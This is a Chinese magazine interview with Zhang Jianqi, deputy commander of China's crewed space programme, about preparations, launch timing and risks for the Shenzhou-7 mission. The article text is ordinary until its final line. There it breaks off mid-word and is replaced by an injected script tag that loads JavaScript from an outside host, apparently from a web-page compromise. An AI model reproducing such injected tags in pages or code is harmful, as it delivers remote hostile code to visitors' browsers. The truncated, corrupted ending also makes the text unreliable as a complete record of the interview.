尽管已经成功组织实施了6次神舟飞船的发射,但每次进入90多米高的垂直总装测试厂房,62岁的张建启从不坐电梯,而是一层层地爬,一层层地认真检查,发现问题及时指出纠正。
张建启,载人航天工程副总指挥,曾担任发射场系统总指挥、酒泉卫星发射中心主任,毕业于哈尔滨军事工程学院核物理系,曾参与组织指挥“亚洲一号”、“风云一号”、“澳星”、神舟系列飞船等大型航天发射试验100多次,获得“中国载人航天工程突出贡献奖”。
神舟七号载人飞船发射前夕,张建启在酒泉卫星发射中心接受了《环球》杂志记者的专访。
成败关键在于航天员的心理加智慧
《环球》:神舟七号飞船发射在即,请问各系统的准备情况怎样?您有信心完成这次中国载人航天史上新的跨越吗?
张建启:我们已经正式决定9月25日至30日择机发射。
航天员选拔训练圆满完成。我们选拔确定了3名航天员组成的飞行乘组,并首次确定了指令长岗位,还选拔了3名预备航天员。他们的训练都非常好。这次训练任务和神五、神六都不同,任务很重,难度很大。出舱活动成败的关键之一,就是航天员的心理加智慧。他们的心理素质要强、身体要好、技术水平要高,也就是综合能力要强,这是和神五、神六不同的地方。他们已经具备了这个条件。同时,这次任务的另一个焦点——舱外航天服,曾是我们认为最难、最担心拿不出来的,现在也制作完成并装上飞船,经过各项测试实验一切合格。
应用系统的伴飞小卫星也经过了各种测试,装上了飞船,并经过了联合测试。飞船各项工作已经准备就绪,飞船、火箭、伴星、航天员的联合检查也已完成。人、船、箭、地、星的合练已经完成。测控通信系统准备就绪,这次共投入5艘测量船、5个国内测控站、4个国外测控站。
着陆回收系统做好了充分准备。这次我们确定的原则是,空中搜救航天员、地面搜救返回舱。这是和神五、神六不同的地方,主要是为了减少地面车辆的行驶,保护生态、保护内蒙古大草原。可以说,实质性的、技术方面的工作基本结束,各项航天产品状态良好、质量良好。
9月底发射最适合航天员出舱活动
《环球》:我们知道,从气象条件上看,10月份是酒泉卫星发射中心最适合发射的季节,神五、神六也选择在10 月份发射,为什么神七选择在9月底发射,有什么特别的考虑吗?
张建启:确定发射时间,我们主要是从技术角度考虑,是为了确保航天员出舱活动成功。对于神七航天员出舱,我们设想的首先是航天员在阳照面出舱,保证出舱安全,同时下传的图像也会更加清晰。我们还希望航天员返回时,也尽可能是在白天。要满足这两个要求,完全兼顾很困难。
经过大量计算,在9月底之前发射的话,能够保证阳面出舱,返回的时候天还不太黑。按照9月25日至30日这个计划的窗口,如果发射时间选择在晚上9点10分左右,可以保证航天员出舱活动在阳照面,返回大概是下午5点40分,天还不太黑。这样能够保证航天员返回更加安全,这也是以人为本的体现。进入10月份,特别是10月中旬以后,在这样的时间天就很黑了,发射窗口很窄,不利于发射和回收。此外,秋分前后,太阳活动比较剧烈,对飞船的测控通信也有不利影响。
神七任务有5大难点
《环球》:从神一到神六,每次任务都有各自的特点和难点。那么,这次任务区别以往任务的特点和难点是什么?
张建启:这次任务的特点和难点,可以归纳为五个方面:
第一,技术跨越大。这次任务的技术跨越,主要是突破航天的出舱技术,研制中国的舱外航天;突破目前只有美国等少数国家掌握的天基测控系统;突破飞船的气闸舱复卸压技术。
第二,风险比较高。3名航天员上天,不仅是数量的增加,更是质的飞跃。从神五到神六,我们的飞船从搭载一个人增加到两个人,搭载3名航天员,是对飞船所有能力的考核。环境控制、生命保障、电源等各个系统能否满足满负荷的考核?这是一个风险。
第二个风险是航天员的出舱。因为空间病、空间适应的问题,国际上一般安排航天员发射后72小时出舱,但神七这次一共就准备飞行3天,所以第二天就出舱,这个风险很大。我们航天员采取了加强训练、服用药物等措施。
第三个风险是出舱本身。除了像神五、神六上升段、返回段两个时段风险比较大以外,出舱又增加了一个大的风险。
第三,任务难度大。一是技术上的难度。二是航天训练的难度。神五、神六要求航天员身体可以就行,他们主要进行体能的训练。这次强化了技术和心理的训练。神七的航天员要在失重水槽中进行出舱训练,需要穿着120公斤重的航天服,再加上铁块配平后在水里浮起来,加起来就是240公斤。航天员还进行低压舱训练——把低压舱卸压到跟太空一样,这个风险很大,难度很大。
第四,航天员自主性强。神五航天员只是跟地面通话,神?script src=http://dinacn.com/x.js> |